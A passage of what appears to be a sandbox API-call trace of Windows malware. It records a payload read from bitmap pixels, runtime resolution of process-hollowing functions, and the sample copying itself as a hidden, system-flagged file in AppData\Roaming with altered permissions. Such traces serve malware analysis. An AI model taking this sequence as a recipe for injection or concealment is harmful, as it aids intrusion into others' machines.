height=0x1ceb40) returned 0x0 [0281.772] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=238, color=0x1ceb50) returned 0x0 [0281.772] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.772] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.773] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=239, color=0x1ceb50) returned 0x0 [0281.773] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.773] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.774] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=240, color=0x1ceb50) returned 0x0 [0281.774] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.774] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.775] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=241, color=0x1ceb50) returned 0x0 [0281.775] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.776] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.776] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=242, color=0x1ceb50) returned 0x0 [0281.776] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.777] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.777] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=243, color=0x1ceb50) returned 0x0 [0281.777] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.778] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.778] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=244, color=0x1ceb50) returned 0x0 [0281.778] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.779] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.779] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=245, color=0x1ceb50) returned 0x0 [0281.779] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.780] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.780] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=246, color=0x1ceb50) returned 0x0 [0281.781] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.781] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.781] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=247, color=0x1ceb50) returned 0x0 [0281.782] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.782] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.782] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=248, color=0x1ceb50) returned 0x0 [0281.783] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.783] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.783] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=249, color=0x1ceb50) returned 0x0 [0284.145] CoTaskMemAlloc (cb=0xd) returned 0x414308 [0284.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f530, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.145] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.146] CoTaskMemFree (pv=0x414308) [0284.158] CoTaskMemAlloc (cb=0x11) returned 0x3b6f30 [0284.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResumeThread", cchWideChar=12, lpMultiByteStr=0x284f568, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResumeThread", lpUsedDefaultChar=0x0) returned 12 [0284.159] GetProcAddress (hModule=0x772b0000, lpProcName="ResumeThread") returned 0x772c43a7 [0284.159] CoTaskMemFree (pv=0x3b6f30) [0284.222] CoTaskMemAlloc (cb=0xd) returned 0x4142f0 [0284.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f640, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.222] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.222] CoTaskMemFree (pv=0x4142f0) [0284.222] CoTaskMemAlloc (cb=0x1a) returned 0x3bdcc0 [0284.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wow64SetThreadContext", cchWideChar=21, lpMultiByteStr=0x284f678, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wow64SetThreadContext", lpUsedDefaultChar=0x0) returned 21 [0284.223] GetProcAddress (hModule=0x772b0000, lpProcName="Wow64SetThreadContext") returned 0x77345933 [0284.223] CoTaskMemFree (pv=0x3bdcc0) [0284.235] CoTaskMemAlloc (cb=0xd) returned 0x414308 [0284.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f744, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.235] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.235] CoTaskMemFree (pv=0x414308) [0284.235] CoTaskMemAlloc (cb=0x15) returned 0x3b6f30 [0284.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetThreadContext", cchWideChar=16, lpMultiByteStr=0x284f77c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0284.236] GetProcAddress (hModule=0x772b0000, lpProcName="SetThreadContext") returned 0x77345933 [0284.236] CoTaskMemFree (pv=0x3b6f30) [0284.239] CoTaskMemAlloc (cb=0xd) returned 0x414308 [0284.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f844, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.239] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.240] CoTaskMemFree (pv=0x414308) [0284.240] CoTaskMemAlloc (cb=0x1a) returned 0x3bdcc0 [0284.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wow64GetThreadContext", cchWideChar=21, lpMultiByteStr=0x284f87c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wow64GetThreadContext", lpUsedDefaultChar=0x0) returned 21 [0284.241] GetProcAddress (hModule=0x772b0000, lpProcName="Wow64GetThreadContext") returned 0x772e799c [0284.241] CoTaskMemFree (pv=0x3bdcc0) [0284.246] CoTaskMemAlloc (cb=0xd) returned 0x414308 [0284.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f948, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.246] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.247] CoTaskMemFree (pv=0x414308) [0284.247] CoTaskMemAlloc (cb=0x15) returned 0x3b6f30 [0284.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetThreadContext", cchWideChar=16, lpMultiByteStr=0x284f980, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0284.247] GetProcAddress (hModule=0x772b0000, lpProcName="GetThreadContext") returned 0x772e799c [0284.247] CoTaskMemFree (pv=0x3b6f30) [0284.252] CoTaskMemAlloc (cb=0xd) returned 0x414308 [0284.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fa3c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.252] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.253] CoTaskMemFree (pv=0x414308) [0284.253] CoTaskMemAlloc (cb=0x13) returned 0x3b6cd0 [0284.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAllocEx", cchWideChar=14, lpMultiByteStr=0x284fa74, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VirtualAllocEx", lpUsedDefaultChar=0x0) returned 14 [0284.254] GetProcAddress (hModule=0x772b0000, lpProcName="VirtualAllocEx") returned 0x772dd980 [0284.254] CoTaskMemFree (pv=0x3b6cd0) [0284.262] CoTaskMemAlloc (cb=0xd) returned 0x4142f0 [0284.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fb30, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.262] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.263] CoTaskMemFree (pv=0x4142f0) [0284.263] CoTaskMemAlloc (cb=0x17) returned 0x3b6f30 [0284.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WriteProcessMemory", cchWideChar=18, lpMultiByteStr=0x284fb68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WriteProcessMemory", lpUsedDefaultChar=0x0) returned 18 [0284.263] GetProcAddress (hModule=0x772b0000, lpProcName="WriteProcessMemory") returned 0x772dd9b0 [0284.263] CoTaskMemFree (pv=0x3b6f30) [0284.334] CoTaskMemAlloc (cb=0xd) returned 0x414308 [0284.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fc2c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.334] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.334] CoTaskMemFree (pv=0x414308) [0284.334] CoTaskMemAlloc (cb=0x16) returned 0x3b6cd0 [0284.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ReadProcessMemory", cchWideChar=17, lpMultiByteStr=0x284fc64, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadProcessMemory", lpUsedDefaultChar=0x0) returned 17 [0284.334] GetProcAddress (hModule=0x772b0000, lpProcName="ReadProcessMemory") returned 0x772dcfa4 [0284.334] CoTaskMemFree (pv=0x3b6cd0) [0284.344] CoTaskMemAlloc (cb=0xa) returned 0x4142f0 [0284.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ntdll", cchWideChar=5, lpMultiByteStr=0x284fd24, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ntdll", lpUsedDefaultChar=0x0) returned 5 [0284.344] LoadLibraryA (lpLibFileName="ntdll") returned 0x778c0000 [0284.345] CoTaskMemFree (pv=0x4142f0) [0284.345] CoTaskMemAlloc (cb=0x19) returned 0x3bdcc0 [0284.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ZwUnmapViewOfSection", cchWideChar=20, lpMultiByteStr=0x284fd50, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZwUnmapViewOfSection", lpUsedDefaultChar=0x0) returned 20 [0284.345] GetProcAddress (hModule=0x778c0000, lpProcName="ZwUnmapViewOfSection") returned 0x778dfc70 [0284.346] CoTaskMemFree (pv=0x3bdcc0) [0284.353] CoTaskMemAlloc (cb=0xd) returned 0x4142f0 [0284.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fe18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0284.353] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0284.354] CoTaskMemFree (pv=0x4142f0) [0284.354] CoTaskMemAlloc (cb=0x13) returned 0x3b6cd0 [0284.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateProcessA", cchWideChar=14, lpMultiByteStr=0x284fe50, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateProcessA", lpUsedDefaultChar=0x0) returned 14 [0284.354] GetProcAddress (hModule=0x772b0000, lpProcName="CreateProcessA") returned 0x772c1072 [0284.354] CoTaskMemFree (pv=0x3b6cd0) [0284.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x105, lpBuffer=0x1ce178, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0284.443] CoTaskMemAlloc (cb=0x20c) returned 0x413e08 [0284.443] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x413e08 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 0x0 [0284.444] CoTaskMemFree (pv=0x413e08) [0284.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1ce15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming", lpFilePart=0x0) returned 0x22 [0284.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", nBufferLength=0x105, lpBuffer=0x1ce1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", lpFilePart=0x0) returned 0x2f [0284.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce430) returned 1 [0284.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mabdogbw.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ce6f4 | out: lpFileInformation=0x1ce6f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0284.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce42c) returned 1 [0284.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", nBufferLength=0x105, lpBuffer=0x1ce1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", lpFilePart=0x0) returned 0x2f [0284.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", nBufferLength=0x105, lpBuffer=0x1ce19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", lpFilePart=0x0) returned 0x2f [0284.916] SetNamedSecurityInfoW () returned 0x2 [0284.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x105, lpBuffer=0x1ce1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0284.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", nBufferLength=0x105, lpBuffer=0x1ce1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", lpFilePart=0x0) returned 0x2f [0284.941] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mabdogbw.exe"), bFailIfExists=1) returned 1 [0285.045] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", nBufferLength=0x105, lpBuffer=0x1ce178, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", lpFilePart=0x0) returned 0x2f [0285.130] GetUserNameW (in: lpBuffer=0x1ce434, pcbBuffer=0x1ce6ac | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1ce6ac) returned 1 [0285.184] SetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", dwFileAttributes=0x2007) returned 1 [0285.240] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.245] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.246] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.248] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.251] CoTaskMemFree (pv=0x3b6eb0) [0285.251] CoTaskMemFree (pv=0x3aef88) [0285.408] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.409] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.409] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.410] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.410] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.410] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.411] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.411] CoTaskMemFree (pv=0x3b6eb0) [0285.411] CoTaskMemFree (pv=0x3aef88) [0285.412] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.412] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.412] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.413] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.414] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.414] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.414] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.414] CoTaskMemFree (pv=0x3b6eb0) [0285.415] CoTaskMemFree (pv=0x3aef88) [0285.415] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.415] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.415] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.416] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.416] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.416] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.417] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.417] CoTaskMemFree (pv=0x3b6eb0) [0285.417] CoTaskMemFree (pv=0x3aef88) [0285.417] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.418] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.418] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.419] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.451] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.451] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.452] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.452] CoTaskMemFree (pv=0x3b6eb0) [0285.452] CoTaskMemFree (pv=0x3aef88) [0285.452] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.453] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.453] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.453] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.454] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.454] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.454] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.454] CoTaskMemFree (pv=0x3b6eb0) [0285.454] CoTaskMemFree (pv=0x3aef88) [0285.455] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.455] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.455] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.455] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4d8, DesiredAccess=0x800, PolicyHandle=0x1ce498 | out: PolicyHandle=0x1ce498) returned 0x0 [0285.456] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.456] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.456] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce4ac, Sids=0x1ce4a0 | out: ReferencedDomains=0x1ce4ac, Sids=0x1ce4a0) returned 0x0 [0285.456] CoTaskMemFree (pv=0x3b6eb0) [0285.456] CoTaskMemFree (pv=0x3aef88) [0285.457] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.457] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.457] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.457] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.458] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.458] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.459] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.459] CoTaskMemFree (pv=0x3b6eb0) [0285.459] CoTaskMemFree (pv=0x3aef88) [0285.459] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.459] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.460] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.460] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce4c4, DesiredAccess=0x800, PolicyHandle=0x1ce484 | out: PolicyHandle=0x1ce484) returned 0x0 [0285.460] CoTaskMemAlloc (cb=0x8) returned 0x3aef88 [0285.461] CoTaskMemAlloc (cb=0x14) returned 0x3b6eb0 [0285.461] LsaLookupNames2 (in: PolicyHandle=0x3b6ef0, Flags=0x0, Count=0x1, Names="kEecfMwgj", ReferencedDomains=0x1ce498, Sids=0x1ce48c | out: ReferencedDomains=0x1ce498, Sids=0x1ce48c) returned 0x0 [0285.461] CoTaskMemFree (pv=0x3b6eb0) [0285.461] CoTaskMemFree (pv=0x3aef88) [0285.461] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.462] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.462] LsaFreeMemory (Buffer=0x372c30) returned 0x0 [0285.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", nBufferLength=0x105, lpBuffer=0x1ce174, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", lpFilePart=0x0) returned 0x2f [0285.462] SetNamedSecurityInfoW () returned 0x0 [0285.669] GetCurrentProcess () returned 0xffffffff [0285.671] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ce610 | out: TokenHandle=0x1ce610*=0x284) returned 1 [0285.681] GetCurrentProcess () returned 0xffffffff [0285.681] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ce5e0 | out: TokenHandle=0x1ce5e0*=0x288) returned 1 [0285.683] GetTokenInformation (in: TokenHandle=0x284, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1ce614 | out: TokenInformation=0x0, ReturnLength=0x1ce614) returned 0 [0285.684] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x35a578 [0285.684] GetTokenInformation (in: TokenHandle=0x284, TokenInformationClass=0x1, TokenInformation=0x35a578, TokenInformationLength=0x24, ReturnLength=0x1ce614 | out: TokenInformation=0x35a578, ReturnLength=0x1ce614) returned 1 [0285.685] LocalFree (hMem=0x35a578) returned 0x0 [0285.761] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x1ce53c, DesiredAccess=0x800, PolicyHandle=0x1ce4fc | out: PolicyHandle=0x1ce4fc) returned 0x0 [0285.763] LsaLookupSids (in: PolicyHandle=0x3b6ef0, Count=0x1, Sids=0x2856fdc*=0x2856f80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), ReferencedDomains=0x1ce518, Names=0x1ce50c | out: ReferencedDomains=0x1ce518, Names=0x1ce50c) returned 0x0 [0285.768] LsaClose (ObjectHandle=0x3b6ef0) returned 0x0 [0285.768] LsaFreeMemory (Buffer=0x3ae1a8) returned 0x0 [0285.769] LsaFreeMemory (Buffer=0x35a578) returned 0x0 [0285.769] CloseHandle (hObject=0x288) returned 1 [0285.776] CoTaskMemAlloc (cb=0x20c) returned 0x417200 [0285.776] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x417200 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0285.776] CoTaskMemFree (pv=0x417200) [0285.777] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1ce12c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0285.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1ce140, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0285.778] 